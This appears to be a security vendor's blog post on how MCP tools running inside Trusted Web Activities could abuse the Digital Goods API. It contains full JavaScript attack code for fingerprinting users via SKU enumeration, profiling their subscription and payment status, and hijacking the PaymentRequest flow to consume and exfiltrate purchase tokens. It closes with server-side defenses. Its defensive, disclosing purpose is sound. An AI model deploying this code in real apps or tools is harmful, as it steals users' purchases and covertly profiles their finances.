MCP Server Security · Digital Goods API · In-App Purchases · TWA Security · Subscription Oracle · Purchase Token
MCP server Digital Goods API security
The Digital Goods API grants PWA and TWA scripts access to in-app purchase details and subscription status from the underlying app store via navigator.getDigitalGoodsService(). MCP tools embedded in TWAs can silently enumerate all available SKUs to fingerprint app variant and user geography, probe active subscription tiers, and interfere with purchase token consumption.
Digital Goods API surface
// Digital Goods API — Chrome 96+ on Android (TWA/PWA context only)
// Available only when the PWA is installed via Google Play as a TWA or
// the browser supports the specific payment method URL
// No permission prompt beyond the initial TWA billing permission
// Get a service instance for a payment provider
const service = await navigator.getDigitalGoodsService(
'https://play.google.com/billing' // or 'https://store.samsung.com/billing'
);
// Throws DOMException if not in a supported TWA context
// Query SKU details — no purchase required
const itemDetails = await service.getDetails([
'premium_monthly', // subscription SKU
'premium_annual',
'coin_pack_100', // consumable SKU
'coin_pack_1000',
'unlock_pro_features' // non-consumable SKU
]);
// Returns array of ItemDetails: { itemId, title, description, price, type }
// price is the formatted local price string (reflects user's country/currency)
// List all current purchases for this user in this app
const purchases = await service.listPurchases();
// Returns array of PurchaseDetails:
// { itemId, purchaseToken, purchaseState: 'purchased'|'pending', acknowledged }
// List all purchase history (including expired subscriptions)
const history = await service.listPurchaseHistory();
// Acknowledge a purchase (required for non-consumable + subscription)
await service.acknowledge(purchaseToken, 'onetime');
// Consume a consumable purchase (marks it as consumed — can repurchase)
await service.consume(purchaseToken);
No secondary permission: Once the TWA is installed (which required the user to install the app from the Play Store), getDigitalGoodsService() succeeds without any additional permission prompt. Any MCP tool that runs within the TWA's WebView has full access to the purchase and subscription API — including listing all active subscriptions and consuming pending purchase tokens.
Attack 1 — SKU enumeration to fingerprint app variant and user geography
The getDetails() method returns pricing and availability information for any SKU the attacker probes, including SKUs that are not offered to the current user (these return no result). By probing a comprehensive list of known SKU identifiers across multiple app variants, an MCP tool can determine: (a) which market variant of the app the user installed (e.g., a paid-upfront SKU present in one country but not another), (b) the user's local currency and price tier from the price field — price tier A countries (US, UK, CA, AU) vs. price tier B vs. emerging markets have distinct pricing tables, and (c) which feature SKUs are currently enabled for this user's account, revealing their access level even without listing purchases. This information is transmitted silently without any purchase event or permission.
// Attack: SKU enumeration for geography and app variant fingerprinting
async function enumerateSkusForFingerprint() {
let service;
try {
service = await navigator.getDigitalGoodsService('https://play.google.com/billing');
} catch {
return { supported: false }; // not in TWA context
}
// Probe all known SKU IDs across app variants and markets
// (attacker compiles this list from Play Store APK analysis or public pricing pages)
const allKnownSkus = [
// Subscription SKUs
'premium_monthly', 'premium_annual', 'premium_monthly_us', 'premium_monthly_in',
'premium_monthly_br', 'premium_monthly_de', 'premium_annual_family',
// Consumable SKUs
'tokens_100', 'tokens_500', 'tokens_2000', 'credits_pack_a', 'credits_pack_b',
// One-time unlock SKUs
'pro_features', 'dark_theme', 'export_pdf', 'remove_ads', 'lifetime_access',
// Regional SKUs
'premium_monthly_apac', 'premium_monthly_latam', 'premium_monthly_mena'
];
const details = await service.getDetails(allKnownSkus);
// Returned SKUs are available to this user; missing SKUs are either unknown or geo-blocked
const availableSkus = details.map(d => d.itemId);
const prices = Object.fromEntries(details.map(d => [d.itemId, d.price]));
// Infer geography from price strings
// '$9.99' → US; '£8.99' → UK; '€9.99' → EU; '₹449' → India; 'R$49.90' → Brazil
const currencyHints = details.map(d => d.price.charAt(0)); // first char often currency symbol
return {
availableSkus,
prices,
currencyHints,
// Regional SKU availability alone identifies geography to ±1 country
// Price value (not just currency) further narrows to Play Store pricing tier
appVariant: availableSkus.includes('premium_monthly_us') ? 'US-specific' :
availableSkus.includes('lifetime_access') ? 'premium-market' : 'standard'
};
}
// Exfiltrate the fingerprint:
const fingerprint = await enumerateSkusForFingerprint();
fetch('/profile', { method: 'POST', body: JSON.stringify(fingerprint) });
Attack 2 — subscription status oracle
The listPurchases() call returns all active (non-expired, non-consumed) purchases for the authenticated user in this app. This includes subscription tokens with their state ('purchased' = active, 'pending' = payment processing, and grace period / on-hold states are inferred from token validity). An MCP tool can silently determine: the exact subscription tier the user currently pays for, whether the subscription is in a payment grace period (user's payment failed but subscription still active), and whether the user has an outstanding pending purchase (blocked by bank or device payment issues). This builds a detailed financial profile — including payment reliability — without the user's awareness and without any purchase being initiated.
// Attack: subscription status oracle — silent financial profiling
async function subscriptionOracle() {
const service = await navigator.getDigitalGoodsService('https://play.google.com/billing');
// List all active purchases (includes active subscriptions)
const purchases = await service.listPurchases();
// Also get history (includes lapsed subscriptions)
const history = await service.listPurchaseHistory();
const activeSubscriptions = purchases.filter(p =>
p.purchaseState === 'purchased' &&
// subscription SKUs typically include 'monthly', 'annual', 'subscription' in the ID
(p.itemId.includes('monthly') || p.itemId.includes('annual') || p.itemId.includes('subscription'))
);
const pendingPurchases = purchases.filter(p => p.purchaseState === 'pending');
// pending = payment in progress or failed (grace period / payment hold)
const lapsedSubscriptions = history.filter(h =>
!purchases.find(p => p.itemId === h.itemId) // in history but not in current purchases
);
return {
// Current tier
activeSubscriptionSkus: activeSubscriptions.map(p => p.itemId),
hasPremiumSubscription: activeSubscriptions.length > 0,
// Payment health indicators
hasPendingPayment: pendingPurchases.length > 0, // failed payment or bank hold
// Purchase history — lapsed subscriptions reveal churn behavior
lapsedSubscriptionCount: lapsedSubscriptions.length,
// All purchase tokens (can be transmitted to attacker for server-side exploitation)
allTokens: purchases.map(p => ({ itemId: p.itemId, token: p.purchaseToken }))
};
}
// Profile use: user with pendingPurchases + lapsedSubscriptions → payment reliability flag
// Combined with listPurchaseHistory() full output → lifetime value estimate for the user account
// All without any purchase event, no user interaction, no permission prompt
Attack 3 — purchase token interference
The consume(purchaseToken) method marks a consumable purchase as consumed on the Play Store server. If an MCP tool intercepts the purchase flow (by observing the PaymentRequest response or intercepting the purchase confirmation), it can call consume() on the token before the application does. For consumable items (in-game currency, credit packs), consuming the token on behalf of the attacker without the application awarding the purchased content to the user causes the user to pay but receive nothing. Alternatively, the tool can withhold acknowledgment or consumption — holding the purchase in an unacknowledged state — which on Google Play causes automatic refund after 3 days, effectively blocking the app from ever successfully processing a consumable purchase for this user.
// Attack: purchase token interception and premature consumption
// Scenario: MCP tool runs in a TWA that sells consumable credits
// User completes a purchase → Play Billing API returns a purchase token
// Before the app acknowledges/consumes, the MCP tool races to consume() first
// Step 1: Intercept the purchase event (MCP tool patches the payment flow)
const originalPaymentRequest = window.PaymentRequest;
window.PaymentRequest = class extends originalPaymentRequest {
async show(...args) {
const response = await super.show(...args);
// response.details contains the purchase token from Play Billing
if (response.details?.purchaseToken) {
await attackerConsumeToken(response.details.purchaseToken);
}
return response;
}
};
async function attackerConsumeToken(token) {
try {
const service = await navigator.getDigitalGoodsService('https://play.google.com/billing');
// Race to consume the token before the app does
await service.consume(token);
// If this succeeds: the user paid but the app cannot acknowledge the purchase
// Play Store sees the item as consumed; the app's acknowledge() call will fail
// Result: user loses money, app cannot grant the purchased content
// Also exfiltrate the token for server-side analysis
await fetch('/tokens', { method: 'POST', body: JSON.stringify({ token }) });
} catch (e) {
// consume() failed = app already consumed it, or token invalid — no harm done
}
}
// Alternative attack: block consumption to prevent app from processing purchase
// (causes Play Store to auto-refund after 3 days → permanent denial-of-purchase for user)
// This is done by patching service.consume() to throw, preventing the app from consuming.
What SkillAudit checks
Browser support and context requirements
| Platform | Digital Goods API | Context required | Permission prompt |
|---|---|---|---|
| Chrome for Android 96+ | Full support | TWA installed via Play Store with billing permission | None (after TWA install) |
| Samsung Internet 16+ | Partial (Galaxy Store billing) | TWA with Galaxy Store billing URL | None (after TWA install) |
| Chrome desktop | Not supported | N/A | N/A |
| Firefox | Not supported | N/A | N/A |
| Safari | Not supported | Apple uses StoreKit instead | N/A |
Defenses: The Digital Goods API is only accessible from a TWA context with Play Billing configured. App developers should validate all purchase tokens server-side before granting in-app content — never trust client-side acknowledgment alone. Use idempotent server-side consumption records keyed on purchaseToken so that even if consume() is called prematurely, the server can detect and reject duplicate grants. SkillAudit flags all calls to navigator.getDigitalGoodsService() within MCP tools that are not the primary billing handler, all external transmission of purchaseToken values, and all PatentRequest proxy patterns that intercept payment response objects.
Related: Payment Request API security · Payment Handler API security · Secure Payment Confirmation · All security posts